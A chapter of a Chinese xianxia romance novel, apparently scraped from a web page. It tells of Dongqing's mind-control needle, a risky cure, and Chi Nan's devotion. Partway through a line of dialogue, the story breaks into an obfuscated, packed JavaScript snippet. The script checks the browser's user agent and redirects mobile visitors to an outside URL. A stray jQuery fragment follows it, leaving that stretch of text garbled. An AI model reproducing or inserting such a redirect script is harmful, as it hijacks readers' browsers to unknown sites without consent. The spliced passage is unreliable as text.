随着热意在体内不断聚集,冬青只觉浑身上下每一寸肌肤都如被烈火灼烧,就连水波触碰在皮肤上也会感觉到刺痛。
游芷看时机差不多了,便凝神探出真气,交织在冬青散发出的天青色真气中。
不对劲。她心头一沉。
混乱,一片被干扰后的混乱。
“冬青。”游芷轻声唤她。
冬青正咬牙抵御着浑身刺痛,闻声只是几不可察地颤了颤,发出一声压抑的“嗯”。
“我要控制真气进入你的体内,过程可能会有点痛苦,你要稍微忍耐一下。”
“好。”冬青点点头。
游芷的木槿色真气顺着药液缓缓渗入冬青经脉。两股真气甫一相接,便剧烈地冲撞、排斥,二人皆不好受。
冬青死死扒住桶边,陌生的真气在她体内横冲直撞,痛得她眼前阵阵发黑,几乎喘不过气。
就在此时,嗡——
那钟磬般的声音再度在脑海中骤响。
嘀嗒。
一滴殷红液体坠入绿水中,无声荡开。
“找到了!”游芷声音骤紧,当即催动更多真气深入探查。
冬青再忍不住,低头痛呼出声。鲜血霎时如注涌出,转眼便将绿水染成一片浑浊的暗红。
她清晰地感觉到脑海中存有异物——游芷的真气与之悍然相撞的瞬间,一股庞大能量轰然反震,几乎要将她脑海撕裂!
冬青头痛欲裂,眼前黑红交错一片,天旋地转。
她本能地摸索着攀住桶沿,探出身剧烈地干呕起来。
游芷被震得向后踉跄数步,连忙上前扯过她的衣衫把她从桶里捞出来。
“怎么了?”池南焦急的声音传来,他强忍住冲到屏风后的欲望,在屏风后来回踱步。
水溅了一地,此时却无人顾及。
冬青抖着手将衣衫囫囵穿好,血止不住地涌出,蹭得满身狼狈。
游芷扯过什么墙上的布巾按在她鼻下,把她按在矮凳上,撬开她牙关塞了一颗丸药,随后对屏风后的人道,“进来吧。”
池南应声疾步走进,他直奔冬青身前,蹲下身,语气急切,“冬青,你还好吗?”
声音飘渺地传进耳朵,淹没在持续不断的嗡鸣下,那声音在脑海中不断冲撞盘旋,像是有一只大手抓着她的脑袋四处撞去,让她头破血流,眼冒金星。
她眼睫迅速颤动,颤抖着向前伸出手,希望能抓到一根稻草。
拜托了,什么都好,快停下来——
念头方起,一只温热的手便毫不犹豫地紧紧握住她,随即用力将她打横抱起。
依旧眩晕,却比方才好了许多。
定海神针。冬青昏昏沉沉地想,更紧地抓住了那只手。
“怎么回事?”池南抱着人疾步向院中走去。
游芷紧随其后,蹙眉道,“我刚才用内力探进冬青脑袋时,触到了……”她斟酌着用词,迟疑道,“一根针?”
“一根针?”池南推门而入,将冬青轻轻放在一旁榻上,正要抽手时,怀中人却攥得更紧,于是他顺势半跪在榻边,任她攥着。
“对,一根针。我触碰到那根针的刹那便被弹开,根本无法细察。”游芷打开角落里的箱子,里面堆放着数不清的书籍,她一本一本翻找着,很快地上便散落了一地的书。
冷汗成股流下,冬青浑身湿透,冷得一阵阵发抖。
池南自乾坤币中抽出一件斗篷,抖开将她严实裹住。
温润的真气自二人交握的手掌源源不断渡入冬青体内,榻上人颤抖渐止,缓缓睁开双眼。
“池南。”冬青意识不清地唤了一声。
“我在!”他立即回应,“你感觉怎么样?”
“好多了……”她撑着身子坐起来,池南眼疾手快地往她身后塞了个软枕。
就在这时,游芷“啊”了一声,捧着一本掉页的书快步上前,“找到了!”
“你们看,这书里记着一种禁术,叫灵傀刺。”
灵傀刺,顾名思义,呈尖棘状,刺入脑中,数天即融。配引魂铃,铃响则受者头痛失智,直至唯听号令,成活傀儡。
池南眸色陡然沉冷,他看向游芷,“可有解决之法?”
游芷翻着书籍,“有是有,只不过只有五成概率成功。”
“什么办法?”
“这世上有一种珍珠,叫仙人泪。”她把书递给池南,“剧毒,腐蚀性极强,传闻能化鳞甲于无形,用仙人泪消融灵傀刺,以毒攻毒,或许有一线生机。”
池南忽然想到冽墟内,那老神婆荒唐的预言,哑着声音问道,“另外五成呢?”
“要么彻底成为傀儡,要么……仙人泪腐蚀全身筋骨,化为一滩肉泥。”
此刻,狭小的草堂内空气宛若凝结,烛火突然“啪”一声爆开,炸响在每个人心头。
半晌,冬青忽然开口,“池南。”
池南看向她,烛光在那双黑眸中跃动,映出一种近乎冰冷的决绝。他看着,心头猛地涌起一个强烈的念头——
别说,别把接下来的话说出口。
冬青身子仍不时轻颤,声线却平直且冷静,冷静到几乎要将他冻住,“届时如果失败了,你就杀了我。”
她宁愿死,也不要成为旁人的傀儡。
两人的手仍紧紧交握着,池南却感到掌心传来的温度越来越凉。
半晌,他咬牙呼出一口浊气,“好。”
游芷又道,“这本书只写了仙人泪长在水里,但又没说具体在哪。这几天我再找找古迹,一有消息便传音给你。”
她转身,打开一旁的衣柜,扒开层层衣物,从下面拿出一个旧得开裂的匣子。
里面装着一块莹润生辉的白玉。
游芷把这块玉塞到冬青手中,“这是我家传的护心玉,你把它带在身上,会稍微好受一些。”
手心蔓延开温润的触感,暖流般柔和,冬青看着她眸色微动。
家传的,就这样交到她手里了吗?
她们明明只有一面之缘而已。
游芷似乎看穿了她,玩笑道:“可不是给你的,等你好了我可是会要回来的。”
冬青直起身子,狠狠点头,“好。”
这时,池南的乾坤币剧烈抖动,从方正的钱眼里飞出来了个做工丑陋、只能勉强分得出头和躯干的的小木人。
那小木人开口了,是燕明光的声音,“师兄!”
池南:“说。”
“白晓城有新消息了!”燕明光的传音灵道,“南氏的除妖队传来消息,说在白晓城附近的一片荒野发现了参与屠城的妖物道藏匿痕迹!”
池南长眉一拧,“知道了。”
那小木人像模像样地点了点头,正准备钻回乾坤币,池南却突然开口叫住了它,“明光。”
“师兄有何吩咐?”
“帮我查一下去哪能找到仙人泪。”
“放心吧师兄,我
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16362888|183774||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
现在就去查!”小木人笨拙的拱了个手,随后一脚深一脚浅地钻回乾坤币。
忽然一声轻笑从耳畔传来,池南抬眸看去,只见冬青苍白的脸上嘴角扬起,眼梢弯起,她指着那小木人道,“你师弟看起来那么意气风发的一个人,没想到传音灵竟然还挺可爱的。”
池南表情有一瞬古怪,他在乾坤币里翻翻找找,半晌掏出来一个巴掌大的红色剪纸,边缘已经微微褪色,折痕深深,像是被丢在哪个不为人知的角落已久。
冬青接过那剪纸,拿在手里端详半天,疑惑道:“这是……你?”
她把那圆滚滚的红色小剪纸比到池南右脸颊边——身旁这人清劲挺拔,而她手上这个小人却活脱脱是个胖墩墩的娃娃。
那眼神里的怀疑实在是太过赤裸,一点掩饰都没有,池南被她看得耳尖一热,一把夺过剪纸放在手上。
掌心真气迸发,注入剪纸内,薄薄的纸片抖了抖,随后那小人鲤鱼打挺般抖擞着站起身来。
他说,“这是我幼时做的传音灵。”
那剪纸小人立刻复述,“这是我幼时做的传音灵。”
小人蹦跳着来到冬青向上摊开的掌心,竟十分自然地躺了下来,还翘起了二郎腿。
冬青毫不怀疑,这剪纸小人绝对复刻出了池南幼时的神韵,且不论样貌如何,就这讨打的劲儿简直如出一辙。
“送给你。”池南生怕她拒绝似的,把传音灵强行塞进她的乾坤币,“这不比燕明光那木头可爱多了。”
冬青嗤笑一声,“你们师兄弟,连手艺都一脉相承,丑的出奇。”
至此,方才屋里凝滞的空气终于被打破,外界的风呼呼涌进,将人心头上那点阴霾吹散些许。
冬青缓过来许多,也不愿在这里过多叨扰,于是起身,打算回仙人顶。
传送阵的光幕照亮院落,游芷站在门前,与二人挥手告别。
一步千里,周身风气陡然变换,扑面的风不再咸涩,二人又重新回到竹居。
冬青回首,从即将消散的光幕中看见游芷对她笑了一下。
“那个……”
池南转身,“嗯?”
“雪狐兰,”冬青攥紧拳头,抬起头迎上他的目光,“我会还给你的。”
轻飘飘的几个字,却仿佛带着千钧之力,重重砸在池南心口,震得他心头发颤。
“冬青,你听好。”他俯身与她平视,目光沉静而专注,“我给游芷那株雪狐兰的时候,根本没想过要你还。我愿意给出那株雪狐兰,只因为你是冬青而已。”
“别说一株雪狐兰,就算百株千株,你也值得。”他声音温柔而坚定,“所以别再说什么‘还我’之类的话了,好吗?”
冬青被他认真的眼神慑住,怔怔望着他,不知怎的,她忽然记起闻儒可说过的一句令她刻骨铭心的话,他说:
“冬青,你以为你是谁,这世上没有人会无缘无故对你好,如果有,那他定是要向你索取什么。”
她一直记得这句话,几乎其当成一句箴言铭记,她不是没反驳过这句话,紫荷、老道长、柳又青、沈秋溪……他们都曾让她起过反驳的念头,可那句话就像一个诅咒,总是在她刚尝到甜头的时候不合时宜地冒出来敲打她。
可今夜,竟有一个人,明明白白地告诉她,他做的这一切,只因为她是冬青而已。
咔嚓——
那句困住冬青十余年人生的箴言,就这样轻而易举地被池南敲碎了。